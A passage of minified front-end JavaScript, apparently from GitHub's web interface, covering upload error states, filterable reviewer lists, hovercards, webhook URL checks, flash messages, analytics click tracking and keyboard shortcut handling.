r!=null&&r===0?{state:"is-empty"}:{state:"is-too-big",messaging:{message:ci(o.message),target:".js-upload-too-big"}}}case"file_count":return{state:"is-too-many"};case"width":case"height":return{state:"is-bad-dimensions"};case"name":return o.code==="already_exists"?{state:"is-duplicate-filename"}:{state:"is-bad-file"};case"content_type":return{state:"is-bad-file"};case"uploader_id":return{state:"is-bad-permissions"};case"repository_id":return{state:"is-repository-required"};case"format":return{state:"is-bad-format"}}return{state:"is-failed"}}s(wo,"policyErrorState");const ci=s(e=>e.startsWith("size")?e.substring(5):e,"trimSizeErrorMessage"),li=["is-default","is-uploading","is-bad-file","is-duplicate-filename","is-too-big","is-too-many","is-hidden-file","is-failed","is-bad-dimensions","is-empty","is-bad-permissions","is-repository-required","is-bad-format"];function Ae(e,t,n){if(n){const{message:o,target:r}=n,i=e.querySelector(r);i&&(i.innerHTML=o)}e.classList.remove(...li),e.classList.add(t)}s(Ae,"resetState");class Eo{constructor(t){this.attachments=t,this.size=this.attachments.length,this.total=Yt(this.attachments,n=>n.file.size)}percent(){const t=s(o=>o.file.size*o.percent/100,"bytes"),n=Yt(this.attachments,t);return Math.round(n/this.total*100)}uploaded(){const t=s(n=>n.isSaved()?1:0,"value");return Yt(this.attachments,t)}isFinished(){return this.attachments.every(t=>t.isSaved())}}s(Eo,"Batch");function Yt(e,t){return e.reduce((n,o)=>n+t(o),0)}s(Yt,"sum"),(0,u.N7)("file-attachment[hover]",{add(e){e.classList.add("dragover")},remove(e){e.classList.remove("dragover")}}),(0,c.on)("file-attachment-accept","file-attachment",function(e){const{attachments:t}=e.detail;t.length===0&&(Ae(e.currentTarget,"is-hidden-file"),e.preventDefault())}),(0,c.on)("file-attachment-accepted","file-attachment",function(e){const t=e.currentTarget.querySelector(".drag-and-drop");if(t&&t.hidden)return;const{attachments:n}=e.detail;ni(new Eo(n),e.currentTarget)});let Lo=0;(0,u.N7)("file-attachment",{add(e){Lo++===0&&(document.addEventListener("drop",So),document.addEventListener("dragover",To));const t=e.closest("form");t&&t.addEventListener("reset",Ao)},remove(e){--Lo===0&&(document.removeEventListener("drop",So),document.removeEventListener("dragover",To));const t=e.closest("form");t&&t.removeEventListener("reset",Ao)}});function jo(e){return Array.from(e.types).indexOf("Files")>=0}s(jo,"file_attachment_hasFile");function So(e){const t=e.dataTransfer;t&&jo(t)&&e.preventDefault()}s(So,"onDocumentDrop");function To(e){const t=e.dataTransfer;t&&jo(t)&&e.preventDefault()}s(To,"onDocumentDragover");function Ao({currentTarget:e}){const t=e.querySelector("file-attachment");Ae(t,"is-default")}s(Ao,"onFormReset");var ui=f(13002);(0,c.on)("filter-input-updated","filter-input",e=>{const t=e.currentTarget.input;if(!(document.activeElement&&document.activeElement===t))return;const{count:n,total:o}=e.detail;(0,h.x)(`Found ${n} out of ${o} ${o===1?"item":"items"}`)}),(0,c.on)("toggle","details",e=>{setTimeout(()=>di(e.target),0)},{capture:!0}),(0,c.on)("tab-container-changed","tab-container",e=>{if(!(e.target instanceof HTMLElement))return;const{relatedTarget:t}=e.detail,n=e.target.querySelector("filter-input");n instanceof ui.Z&&n.setAttribute("aria-owns",t.id)},{capture:!0});function di(e){const t=e.querySelector("filter-input");t&&!e.hasAttribute("open")&&t.reset()}s(di,"resetFilter");function Co(e,t,n,o={}){var r;const i=(r=o.limit)!=null?r:1/0;let a=0;for(const l of e.children){const y=n(l,t);y==null||(y&&a0));return S}s(Mo,"filterSortList");var en=f(25833);let tn=new AbortController;const Ze=new WeakMap,qo=new WeakMap,Ro=new WeakMap;async function fi(e,t,n,o){n&&!Ze.has(e)&&pi(e);const r=await mi(e,t,n,o);return e.hasAttribute("data-filterable-data-pre-rendered")&&(r.suggestions=hi(e,n)),r}s(fi,"getData");async function mi(e,t,n,o){const r=new URL(e.getAttribute("data-filterable-src")||"",window.location.origin);if(r.pathname==="/")throw new Error("could not get data-filterable-src");if(n){const i=Ze.get(e),a=t.trim();if(i.lastSearchText===a)return i.lastSearchResult;const l=i.lastSearchText===void 0;i.lastSearchText=a;const y=e.getAttribute("data-filterable-for")||"",w=document.getElementById(y);if(tn.abort(),a===""&&!o)i.lastSearchResult={suggestions:[],users:[]};else{tn=new AbortController;const S={headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"},signal:tn.signal},R=r.searchParams||new URLSearchParams;R.set("q",t),R.set("typeAhead","true"),r.search=R.toString(),l||w==null||w.classList.add("is-loading");const I=await fetch(r.toString(),S);i.lastSearchResult=await I.json()}return w==null||w.classList.remove("is-loading"),i.lastSearchResult}else{const i={headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}};return await(await fetch(r.toString(),i)).json()}}s(mi,"fetchQueryIfNeeded");function hi(e,t){const n=[],o=e.querySelectorAll(".js-filterable-suggested-user");if(o.length>0)for(const r of e.querySelectorAll(".js-filterable-suggested-user"))r.classList.remove("js-filterable-suggested-user"),n.push({name:r.querySelector(".js-description").textContent,login:r.querySelector(".js-username").textContent,selected:r.getAttribute("aria-checked")==="true",element:r,suggestion:!0});if(t){const r=Ze.get(e);return o.length>0&&(r.cachedSuggestions=n,r.userResultCache.clear()),r.cachedSuggestions}return n}s(hi,"getPreRenderedUsers");function pi(e){Ze.set(e,{lastSearchResult:{suggestions:[],users:[]},cachedSuggestions:[],userResultCache:new Map})}s(pi,"initializeTypeAheadCache");async function gi(e,t,n){var o,r;Ro.set(e,t),await(0,en.Z)();const i=e.hasAttribute("data-filterable-show-suggestion-header"),a=e.hasAttribute("data-filterable-type-ahead"),l=e.hasAttribute("data-filterable-type-ahead-query-on-empty");let y=qo.get(e);if(!y)try{y=await fi(e,t,a,l),a||qo.set(e,y)}catch(B){if(B.name==="AbortError")return-1;throw B}if(!a&&Ro.get(e)!==t)return-1;const w=n.limit,S=e.querySelector("template"),R={};for(const B of e.querySelectorAll("input[type=hidden]"))R[`${B.name}${B.value}`]=B;let I=S.nextElementSibling;for(;I;){const B=I;I=B.nextElementSibling,B instanceof HTMLElement&&(a||B.getAttribute("aria-checked")==="true"||B.classList.contains("select-menu-divider"))?B.hidden=!0:B.remove()}let F=0;const X=t.trim()==="",oe=document.createDocumentFragment(),Q=e.querySelector(".js-divider-suggestions"),se=e.querySelector(".js-divider-rest"),ce=Ze.get(e);function de(B){const G=`${B.login} ${B.name}`.toLowerCase().trim().includes(t),z=!(w!=null&&F>=w)&&G;if(z||B.selected||B.suggestion){const Z=bi(B,S,R,ce);Z.hidden=!z,z&&F++,oe.appendChild(Z)}}s(de,"addItem");let Y=!1;if(Q&&(((o=y.suggestions)==null?void 0:o.length)>0||i&&y.users.length>0)){const B=(r=y.suggestions)!=null?r:[],G=B.filter(Z=>Z.selected),z=B.filter(Z=>!Z.selected);for(const Z of G)de(Z);oe.appendChild(Q);const ee=F;for(const Z of z)de(Z);Y=F>ee,Q.hidden=!Y||a&&!X,i&&y.users.length>0&&(Q.hidden=!X)}se&&oe.appendChild(se);const He=F;for(const B of y.users)de(B);return se&&(se.hidden=He===F||!Y),e.append(oe),F}s(gi,"substringMemoryFilterList");function bi(e,t,n,o){if(e.element!=null)return e.element;if(o==null?void 0:o.userResultCache.has(e.id))return o.userResultCache.get(e.id);const r=t.content.cloneNode(!0),i=r.querySelector("input[type=checkbox], input[type=radio]");e.type&&(i.name=`reviewer_${e.type}_ids[]`),i.value=e.id;const a=`${i.name}${e.id}`;let l=e.selected;n[a]&&(l=!0,n[a].remove(),delete n[a]);const y=r.querySelector("[role^=menuitem]");l&&(y.setAttribute("aria-checked","true"),i.checked=!0),e.disabled&&y.setAttribute("aria-disabled","true");const w=r.querySelector(".js-username");w&&(w.textContent=e.login);const S=r.querySelector(".js-description");S&&(S.textContent=e.name);const R=r.querySelector(".js-extended-description");R&&(e.description?R.textContent=e.description:R.remove());const I=r.querySelector(".js-avatar");return I.className=`${I.className} ${e.class}`,I.src=e.avatar,e.element=y,o==null||o.userResultCache.set(e.id,y),e.element}s(bi,"createReviewerItem"),(0,u.N7)(".js-filterable-field",{constructor:HTMLInputElement,initialize(e){e.autocomplete||(e.autocomplete="off");const t=e.hasAttribute("type-ahead")?200:null;let n=e.value;async function o(i){n!==i.value&&(n=i.value,await(0,k.gJ)(),(0,c.f)(i,"filterable:change"))}s(o,"onInputChange");async function r(){n=e.value,await(0,k.gJ)(),(0,c.f)(e,"filterable:change")}return s(r,"onFocus"),{add(i){i.addEventListener("focus",r),(0,te.oq)(i,o,{wait:t}),document.activeElement===i&&r()},remove(i){i.removeEventListener("focus",r),(0,te.iU)(i,o)}}}}),(0,c.on)("filterable:change",".js-filterable-field",async function(e){const t=e.currentTarget,n=t.value.trim().toLowerCase(),o=document.querySelectorAll(`[data-filterable-for="${t.id}"]`);for(const r of o){const i=await vi(r,n);if(i===-1)return;document.activeElement&&t===document.activeElement&&(0,h.x)(`${i} results found.`),r.dispatchEvent(new CustomEvent("filterable:change",{bubbles:!0,cancelable:!1,detail:{inputField:t}}))}});function yi(e){return e.hasAttribute("data-filter-value")?e.getAttribute("data-filter-value").toLowerCase().trim():e.textContent.toLowerCase().trim()}s(yi,"defaultText");async function vi(e,t){const n=parseInt(e.getAttribute("data-filterable-limit"),10)||null;let o=0;switch(e.getAttribute("data-filterable-type")){case"fuzzy-prio":{const r=t.toLowerCase();o=Mo(e,t,{limit:n,sortKey:s(a=>{const l=a.getAttribute("data-prio-filter-value").toLowerCase().trim(),y=a.textContent.toLowerCase().trim(),w=(0,ge.EW)(l,r)*2;let S=(0,ge.EW)(y,r);return w>S&&(S=w),S>0?{score:S,text:y}:null},"sortKey")});break}case"fuzzy":{const r=t.toLowerCase();o=Mo(e,t,{limit:n,sortKey:s(a=>{const l=yi(a),y=(0,ge.EW)(l,r);return y>0?{score:y,text:l}:null},"sortKey")});break}case"substring":o=Co(e,t.toLowerCase(),Ei,{limit:n});break;case"substring-memory":o=await gi(e,t,{limit:n});break;default:o=Co(e,t.toLowerCase(),wi,{limit:n});break}return e.classList.toggle("filterable-active",t.length>0),e.classList.toggle("filterable-empty",o===0),o}s(vi,"filter");function wi(e,t){return e.textContent.toLowerCase().trim().startsWith(t)}s(wi,"prefix");function Ei(e,t){return e.hasAttribute("data-skip-substring-filter")||e.classList.contains("select-menu-no-results")?null:(e.querySelector("[data-filterable-item-text]")||e).textContent.toLowerCase().trim().includes(t)}s(Ei,"substring"),(0,c.on)("filterable:change","details-menu .select-menu-list",function(e){const t=e.currentTarget,n=t.querySelector(".js-new-item-form");n&&Li(t,n,e.detail.inputField.value)});function Li(e,t,n){const o=n.length>0&&!ji(e,n);if(e.classList.toggle("is-showing-new-item-form",o),!o)return;t.querySelector(".js-new-item-name").textContent=n;const r=t.querySelector(".js-new-item-value");(r instanceof HTMLInputElement||r instanceof HTMLButtonElement)&&(r.value=n)}s(Li,"toggleForm");function ji(e,t){for(const n of e.querySelectorAll("[data-menu-button-text]"))if(n.textContent.toLowerCase().trim()===t.toLowerCase())return!0;return!1}s(ji,"itemExists"),(0,u.N7)("tab-container .select-menu-list .filterable-empty, details-menu .select-menu-list .filterable-empty",{add(e){e.closest(".select-menu-list").classList.add("filterable-empty")},remove(e){e.closest(".select-menu-list").classList.remove("filterable-empty")}});const _o=navigator.userAgent.match(/Firefox\/(\d+)/);_o&&Number(_o[1])<76&&((0,u.N7)('details-menu label[tabindex][role^="menuitem"]',e=>{const t=e.querySelector("input");if(!t)return;const n=e.classList.contains("select-menu-item"),o=t.classList.contains("d-none"),r=n||o||t.hidden;n&&t.classList.add("d-block"),o&&t.classList.remove("d-none"),r&&(t.classList.add("sr-only"),t.hidden=!1),e.removeAttribute("tabindex")}),(0,c.on)("focus",'details-menu label[role="menuitemradio"] input, details-menu label[role="menuitemcheckbox"] input',e=>{const t=e.currentTarget.closest("label");t.classList.contains("select-menu-item")&&t.classList.add("navigation-focus"),t.classList.contains("SelectMenu-item")&&t.classList.add("hx_menuitem--focus"),t.classList.contains("dropdown-item")&&t.classList.add("hx_menuitem--focus"),e.currentTarget.addEventListener("blur",()=>{t.classList.contains("select-menu-item")&&t.classList.remove("navigation-focus"),t.classList.contains("SelectMenu-item")&&t.classList.remove("hx_menuitem--focus"),t.classList.contains("dropdown-item")&&t.classList.remove("hx_menuitem--focus")},{once:!0})},{capture:!0}),(0,j.w4)("keydown",'details-menu label[role="menuitemradio"] input, details-menu label[role="menuitemcheckbox"] input',async function(e){if(Po(e))e.currentTarget instanceof Element&&Si(e.currentTarget);else if(e.key==="Enter"){const t=e.currentTarget;e.preventDefault(),await(0,k.gJ)(),t instanceof HTMLInputElement&&t.click()}}),(0,c.on)("blur",'details-menu label input[role="menuitemradio"], details-menu label input[role="menuitemcheckbox"]',e=>{Io(e.currentTarget)},{capture:!0}),(0,j.w4)("keyup",'details-menu label[role="menuitemradio"] input, details-menu label[role="menuitemcheckbox"] input',e=>{!Po(e)||e.currentTarget instanceof Element&&Io(e.currentTarget)}));function Po(e){return e.key==="ArrowDown"||e.key==="ArrowUp"}s(Po,"isArrowKeys");function Si(e){const t=e.closest("label");t.hasAttribute("data-role")||t.setAttribute("data-role",t.getAttribute("role")),e.setAttribute("role",t.getAttribute("data-role")),t.removeAttribute("role")}s(Si,"switchRoleToInputForNavigation");function Io(e){const t=e.closest("label");t.hasAttribute("data-role")||t.setAttribute("data-role",t.getAttribute("role")),t.setAttribute("role",t.getAttribute("data-role")),e.removeAttribute("role")}s(Io,"switchRoleBackToOriginalState");var nn=f(11820);function Do(){document.firstElementChild.classList.contains("js-skip-scroll-target-into-view")||(0,nn.lA)(document)&&(0,nn.kc)(document)}s(Do,"scrollTargetIntoViewIfNeeded"),(0,Xt.Z)(Do),(0,c.on)("click",'a[href^="#"]',function(e){const{currentTarget:t}=e;t instanceof HTMLAnchorElement&&setTimeout(Do,0)}),(0,c.on)("click",".js-flash-close",function(e){const t=e.currentTarget.closest(".flash-messages");e.currentTarget.closest(".flash").remove(),t&&!t.querySelector(".flash")&&t.remove()});const Ti=["flash-notice","flash-error","flash-message","flash-warn"];function Ai(e){for(const{key:t,value:n}of Ti.flatMap(Ve.$1)){(0,Ve.kT)(t);let o;try{o=atob(decodeURIComponent(n))}catch{continue}e.after(new lt.R(e,{className:t,message:o}))}}s(Ai,"displayFlash"),(0,u.N7)("template.js-flash-template",{constructor:HTMLTemplateElement,add(e){Ai(e)}});const on=new WeakMap;document.addEventListener("focus",function(e){const t=e.target;t instanceof Element&&!on.get(t)&&((0,c.f)(t,"focusin:delay"),on.set(t,!0))},{capture:!0}),document.addEventListener("blur",function(e){setTimeout(function(){const t=e.target;t instanceof Element&&t!==document.activeElement&&((0,c.f)(t,"focusout:delay"),on.delete(t))},200)},{capture:!0}),(0,C.AC)(".js-form-toggle-target",async function(e,t){try{await t.text()}catch{return}const n=e.closest(".js-form-toggle-container");n.querySelector(".js-form-toggle-target[hidden]").hidden=!1,e.hidden=!0});var Ci=f(99254);function ki(e){e instanceof CustomEvent&&(0,h.x)(`${e.detail} results found.`)}s(ki,"noticeHandler"),(0,u.N7)("fuzzy-list",{constructor:Ci.Z,subscribe:e=>(0,M.RB)(e,"fuzzy-list-sorted",ki)}),(0,c.on)("click",".email-hidden-toggle",function(e){const t=e.currentTarget.nextElementSibling;t instanceof HTMLElement&&(t.style.display="",t.classList.toggle("expanded"),e.preventDefault())});var ou=f(30479);(0,u.N7)(".js-hook-url-field",{constructor:HTMLInputElement,add(e){function t(){const n=e.form;if(!n)return;let o;try{o=new URL(e.value)}catch{}const r=n.querySelector(".js-invalid-url-notice");r instanceof HTMLElement&&(r.hidden=!!(e.value===""||o&&/^https?:/.test(o.protocol)));const i=n.querySelector(".js-insecure-url-notice");i instanceof HTMLElement&&o&&e.value&&(i.hidden=/^https:$/.test(o.protocol));const a=n.querySelector(".js-ssl-hook-fields");a instanceof HTMLElement&&(a.hidden=!(o&&o.protocol==="https:"))}s(t,"checkUrl"),(0,te.oq)(e,t),t()}});function Ho(e){const t=document.querySelectorAll(".js-hook-event-checkbox");for(const n of t)n.checked=n.matches(e)}s(Ho,"chooseEvents"),(0,c.on)("change",".js-hook-event-choice",function(e){const t=e.currentTarget,n=t.checked&&t.value==="custom",o=t.closest(".js-hook-events-field");if(o&&o.classList.toggle("is-custom",n),t.checked)if(n){const r=document.querySelector(".js-hook-wildcard-event");r.checked=!1}else t.value==="push"?Ho('[value="push"]'):t.value==="all"&&Ho(".js-hook-wildcard-event")}),(0,c.on)("click",".js-hook-deliveries-pagination-button",async function(e){const t=e.currentTarget;t.disabled=!0;const n=t.parentElement,o=t.getAttribute("data-url");n.before(await(0,pe.a)(document,o)),n.remove()}),(0,C.AC)(".js-redeliver-hook-form",async function(e,t){let n;try{n=await t.html()}catch{e.classList.add("failed");return}document.querySelector(".js-hook-deliveries-container").replaceWith(n.html)});var $e=f(11793);(0,u.N7)("[data-hotkey]",{constructor:HTMLElement,add(e){if((0,at.Ty)())(0,$e.N9)(e);else{const t=e.getAttribute("data-hotkey");if(t){const n=xi(t);n.length>0&&(e.setAttribute("data-hotkey",n),(0,$e.N9)(e))}}},remove(e){(0,$e.Tz)(e)}});function xi(e){return e.split(",").filter(n=>(0,at.YE)(n)).join(",")}s(xi,"filterOutCharacterKeyShortcuts");var rn=f(53692);let ne=document.querySelector(".js-hovercard-content");(0,u.N7)(".js-hovercard-content",e=>{ne=e});const Mi=(0,qe.Z)(pe.a);let Ce,mt=null,sn,an=0;const cn=12,ln=24,Oo=ln-7,No=16,qi=100,Ri=250;function Re(e){return"Popover-message--"+e}s(Re,"contentClass");function _i(e){setTimeout(()=>{if(document.body&&document.body.contains(e)){const t=e.querySelector("[data-hovercard-tracking]");if(t){const o=t.getAttribute("data-hovercard-tracking");o&&(0,_.q)("user-hovercard-load",JSON.parse(o))}const n=e.querySelector("[data-hydro-view]");n instanceof HTMLElement&&(0,rn.Fk)(n)}},500)}s(_i,"trackLoad");function Fe(){ne instanceof HTMLElement&&(ne.style.display="none",ne.children[0].innerHTML="",mt=null,Ce=null)}s(Fe,"hideCard");function Pi(e){const t=e.getClientRects();let n=t[0]||e.getBoundingClientRect()||{top:0,left:0,height:0,width:0};if(t.length>0){for(const o of t)if(o.leftan){n=o;break}}return n}s(Pi,"selectRectNearestMouse");function Ii(e){const{width:t,height:n}=ne.getBoundingClientRect(),{left:o,top:r,height:i,width:a}=Pi(e),l=r>n;if(e.classList.contains("js-hovercard-left")){const w=o-t-cn,S=r+i/2;return{containerTop:l?S-n+Oo+No/2:S-Oo-No/2,containerLeft:w,contentClassSuffix:l?"right-bottom":"right-top"}}else{const w=window.innerWidth-o>t,S=o+a/2,R=w?S-ln:S-t+ln;return{containerTop:l?r-n-cn:r+i+cn,containerLeft:R,contentClassSuffix:l?w?"bottom-left":"bottom-right":w?"top-left":"top-right"}}}s(Ii,"calculatePositions");function Di(e,t){if(!(ne instanceof HTMLElement))return;ne.style.visibility="hidden",ne.style.display="block",t.classList.remove(Re("bottom-left"),Re("bottom-right"),Re("right-top"),Re("right-bottom"),Re("top-left"),Re("top-right"));const{containerTop:n,containerLeft:o,contentClassSuffix:r}=Ii(e);t.classList.add(Re(r)),ne.style.top=`${n+window.pageYOffset}px`,ne.style.left=`${o+window.pageXOffset}px`,zi(e,ne),ne.style.visibility=""}s(Di,"positionCard");function Hi(e,t){if(!(ne instanceof HTMLElement))return;const n=ne.children[0];n.innerHTML="";const o=document.createElement("div");for(const r of e.children)o.appendChild(r.cloneNode(!0));n.appendChild(o),Di(t,n),_i(o),ne.style.display="block"}s(Hi,"showCard");function Oi(e){const t=e.closest("[data-hovercard-subject-tag]");if(t)return t.getAttribute("data-hovercard-subject-tag");const n=document.head&&document.head.querySelector('meta[name="hovercard-subject-tag"]');return n?n.getAttribute("content"):null}s(Oi,"determineEnclosingSubject");function Ni(e){const t=e.getAttribute("data-hovercard-url");if(t){const n=Oi(e);if(n){const o=new URL(t,window.location.origin),r=new URLSearchParams(o.search.slice(1));return r.append("subject",n),r.append("current_path",window.location.pathname+window.location.search),o.search=r.toString(),o.toString()}return t}return""}s(Ni,"hovercardUrlFromTarget");function Bi(e){const t=e.getAttribute("data-hovercard-type");return t==="pull_request"||t==="issue"?!!e.closest("[data-issue-and-pr-hovercards-enabled]"):t==="team"?!!e.closest("[data-team-hovercards-enabled]"):t==="repository"?!!e.closest("[data-repository-hovercards-enabled]"):t==="commit"?!!e.closest("[data-commit-hovercards-enabled]"):t==="project"?!!e.closest("[data-project-hovercards-enabled]"):t==="discussion"?!!e.closest("[data-discussion-hovercards-enabled]"):t==="acv_badge"?!!e.closest("[data-acv-badge-hovercards-enabled]"):t==="sponsors_listing"?!!e.closest("[data-sponsors-listing-hovercards-enabled]"):!0}s(Bi,"hovercardsAreEnabledForType");async function $i(e,t){if("ontouchstart"in document)return;const o=e.currentTarget;if(e instanceof MouseEvent&&(an=e.clientX),!(o instanceof Element)||Ce===o||o.closest(".js-hovercard-content")||!Bi(o))return;Fe(),Ce=o,mt=document.activeElement;const r=Ni(o);let i;try{const a=new Promise(l=>window.setTimeout(l,t,0));i=await Mi(document,r),await a}catch(a){const l=a.response;if(l&&l.status===404){const y="Hovercard is unavailable";o.setAttribute("aria-label",y),o.classList.add("tooltipped","tooltipped-ne")}else if(l&&l.status===410){const y=await l.clone().json();o.setAttribute("aria-label",y.message),o.classList.add("tooltipped","tooltipped-ne")}return}o===Ce&&(Hi(i,o),e instanceof KeyboardEvent&&ne instanceof HTMLElement&&ne.focus())}s($i,"activateFn");function Fi(e){$i(e,Ri)}s(Fi,"activateWithTimeoutFn");function un(e){if(!!Ce){if(e instanceof MouseEvent&&e.relatedTarget instanceof HTMLElement){const t=e.relatedTarget;if(t.closest(".js-hovercard-content")||t.closest("[data-hovercard-url]"))return}else e instanceof KeyboardEvent&&mt instanceof HTMLElement&&mt.focus();Fe()}}s(un,"deactivateFn");function Ui(e){const t=Ce;sn=window.setTimeout(()=>{Ce===t&&un(e)},qi)}s(Ui,"deactivateWithTimeoutFn");function Bo(e){if(e instanceof KeyboardEvent)switch(e.key){case"Escape":un(e)}}s(Bo,"keyupFn");function Wi(){sn&&clearTimeout(sn)}s(Wi,"cancelDeactivation"),ne&&((0,u.N7)("[data-hovercard-url]",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"mouseover",Fi),(0,M.RB)(e,"mouseleave",Ui),(0,M.RB)(e,"keyup",Bo))}),(0,u.N7)("[data-hovercard-url]",{remove(e){Ce===e&&Fe()}}),(0,u.N7)(".js-hovercard-content",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"mouseover",Wi),(0,M.RB)(e,"mouseleave",un),(0,M.RB)(e,"keyup",Bo))}),(0,c.on)("menu:activated","details",Fe),window.addEventListener("turbo:load",Fe),window.addEventListener("statechange",Fe));function zi(e,t){const n=e.getAttribute("data-hovercard-z-index-override");n?t.style.zIndex=n:t.style.zIndex="100"}s(zi,"setZIndexOverride"),async function(){document.addEventListener("pjax:complete",()=>(0,_.Y)({pjax:"true"})),document.addEventListener("soft-nav:success",()=>(0,_.Y)({turbo:"true"})),await me.C,(0,_.Y)()}(),(0,c.on)("click","[data-octo-click]",function(e){const t=e.currentTarget;if(!(t instanceof HTMLElement))return;const n=t.getAttribute("data-octo-click")||"",o={};if(t.hasAttribute("data-ga-click")){const i=t.getAttribute("data-ga-click").split(",");o.category=i[0].trim(),o.action=i[1].trim()}if(t.hasAttribute("data-octo-dimensions")){const r=t.getAttribute("data-octo-dimensions").split(",");for(const i of r){const[a,l]=i.split(/:(.+)/);a&&(o[a]=l||"")}}(0,_.q)(n,o)});var $o=f(84818);const{getItem:su}=(0,$o.Z)("localStorage");function Fo(e,t){var n,o}s(Fo,"debugPayload"),(0,c.on)("click","[data-hydro-click]",function(e){const t=e.currentTarget,n=t.getAttribute("data-hydro-click")||"",o=t.getAttribute("data-hydro-click-hmac")||"",r=t.getAttribute("data-hydro-client-context")||"";Fo("hydro-debug.click",n),(0,rn.$S)(n,o,r)}),(0,c.on)("click","[data-optimizely-hydro-click]",function(e){const t=e.currentTarget,n=t.getAttribute("data-optimizely-hydro-click")||"",o=t.getAttribute("data-optimizely-hydro-click-hmac")||"";Fo("hydro-debug.optimizely",n),(0,rn.$S)(n,o,"")}),(0,C.AC)(".js-immediate-updates",async function(e,t){let n;try{n=(await t.json()).json.updateContent}catch(o){o.response.json&&(n=o.response.json.updateContent)}if(n)for(const o in n){const r=n[o],i=document.querySelector(o);i instanceof HTMLElement&&(0,Me.Of)(i,r)}}),document.addEventListener("DOMContentLoaded",Ki);async function Ki(){if((0,U.c)("IMAGE_METRIC_TRACKING")===!1)return;const e=Array.from(document.querySelectorAll("img.js-img-time")).slice(0,5),t=Date.now(),n=[];await Promise.all(e.map(o=>Vi(o,t,n))),n.length>0&&(0,he.b)({transparentRedirectTimings:n})}s(Ki,"onDOMContentLoaded");async function Vi(e,t,n){const o=/\/assets\/storage\/user\/([0-9]+)\/files\/([{]?[0-9a-fA-F]{8}-([0-9a-fA-F]{4}-){3}[0-9a-fA-F]{12}[}]?)/,r=/assets\/([0-9]+)\/([{]?[0-9a-fA-F]{8}-([0-9a-fA-F]{4}-){3}[0-9a-fA-F]{12}[}]?)/,i=e.getAttribute("src");if(!i)return;const a=new URL(i,window.location.origin),l=o.test(a.pathname)?o:r,[,y,w]=a.pathname.match(l)||[];if(!y||!w)return;await fetch(`/assets/measure/${y}/${w}`);const R={duration:Date.now()-t,fileGUID:w,userID:y};n.push(R)}s(Vi,"measureRedirectTiming"),(0,u.N7)("[data-indeterminate]",{constructor:HTMLInputElement,initialize(e){e.indeterminate=!0}});var Xi=f(51244);function Gi(){f.e("app_assets_modules_github_jump-to_ts").then(f.bind(f,35653))}s(Gi,"load"),(0,u.N7)(".js-jump-to-field",{constructor:HTMLInputElement,add(e){e.addEventListener("focusin",Gi,{once:!0}),(0,Xi.Nc)(window.location.pathname)}});let dn=!1;async function Uo(){if(dn)return;dn=!0;const t={contexts:document.querySelector("meta[name=github-keyboard-shortcuts]").content},n=`/site/keyboard_shortcuts?${new URLSearchParams(t).toString()}`,o=await(0,Te.W)({content:(0,pe.a)(document,n),labelledBy:"keyboard-shortcuts-heading"});o.style.width="800px",o.addEventListener("dialog:remove",function(){dn=!1},{once:!0})}s(Uo,"showKeyboardShortcuts"),(0,c.on)("click",".js-keyboard-shortcuts",Uo),document.addEventListener("keydown",e=>{e instanceof KeyboardEvent&&(!(0,at.Zf)(e)||e.target instanceof Node&&(0,L.sw)(e.target)||(0,$e.EL)(e)==="Shift+?"&&Uo())}),(0,u.N7)(".js-modifier-key",{constructor:HTMLElement,add(e){if(/Macintosh/.test(navigator.userAgent)){let t=e.textContent;t&&(t=t.replace(/ctrl/,"\u2318"),t=t.replace(/alt/,"\u2325"),e.textContent=t)}}}),(0,u.N7)(".js-modifier-label-key",{add(e){var t;let n=(t=e.textContent)==null?void 0:t.replace(/ctrl/i,"Ctrl");!n||(/Macintosh/.test(navigator.userAgent)&&(n=n.replace(/ctrl/i,"Cmd"),n=n.replace(/alt/i,"Option")),e.textContent=n)}});function ht(e){const t=e.currentTarget;if(!(t instanceof HTMLInputElement||t instanceof HTMLTextAreaElement))return;const n=parseInt(t.getAttribute("data-input-max-length")||"",10),o=parseInt(t.getAttribute("data-warning-length")||"",10)||5,i=t.value.replace(/(\r\n|\n|\r)/g,`\r +`);let a=n-i.length;if(a<=0){let S=i.substr(0,n);S.endsWith("\r")?(S=S.substr(0,n-1),a=1):a=0,t.value=S}const l=t.getAttribute("data-warning-text"),w=t.closest(".js-length-limited-input-container").querySelector(".js-length-limited-input-warning");a<=o?(w.textContent=l.replace(new RegExp("{{remaining}}","g"),`${a}`),w.classList.remove("d-none")):(w.textContent="",w.classList.add("d-none"))}s(ht,"displayLengthWarning"),(0,u.N7)(".js-length-limited-input",{add(e){e.addEventListener("input",ht),e.addEventListener("change",ht)},remove(e){e.removeEventListener("input",ht),e.removeEventListener("change",ht)}}),(0,c.on)("click",".js-member-search-filter",function(e){e.preventDefault();const t=e.currentTarget.getAttribute("data-filter"),o=e.currentTarget.closest("[data-filter-on]").getAttribute("data-filter-on"),r=document.querySelector(".js-member-filter-field"),i=r.value,a=new RegExp(`${o}:(?:[a-z]|_|((').*(')))+`),l=i.toString().trim().replace(a,"");r.value=`${l} ${t}`.replace(/\s\s/," ").trim(),r.focus(),(0,c.f)(r,"input")}),(0,c.on)("auto-check-success",".js-new-organization-name",function(e){const t=e.target,o=t.closest("dd").querySelector(".js-field-hint-name");!o||(o.textContent=t.value)}),(0,C.AC)(".js-notice-dismiss",async function(e,t){await t.text(),e.closest(".js-notice").remove()}),(0,c.on)("submit",".js-notice-dismiss-remote",async function(e){const t=e.currentTarget;e.preventDefault();let n;try{n=await fetch(t.action,{method:t.method,body:new FormData(t),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{(0,T.v)();return}n&&!n.ok?(0,T.v)():t.closest(".js-notice").remove()});function Zi(e){try{const t=e.getBoundingClientRect();if(t.height===0&&t.width===0||e.style.opacity==="0"||e.style.visibility==="hidden")return!1}catch{}return!0}s(Zi,"isVisible"),(0,c.on)("click",".js-github-dev-shortcut",function(e){e.preventDefault();for(const n of document.querySelectorAll("textarea.js-comment-field"))if(n.value&&Zi(n)&&!confirm("Are you sure you want to open github.dev?"))return;const t=e.currentTarget;t.pathname=window.location.pathname,t.hash=window.location.hash,window.location.href=t.href}),(0,c.on)("click",".js-github-dev-new-tab-shortcut",function(e){const t=e.currentTarget;t.pathname=window.location.pathname,t.hash=window.location.hash});function Ji(e,t,n){const o=new URL("",window.location.origin),r=t.pathname.split("/");o.pathname=r.slice(1,3).join("/"),o.hash=t.hash,n&&(o.search=`?q=${encodeURIComponent(n)}`);const a=new 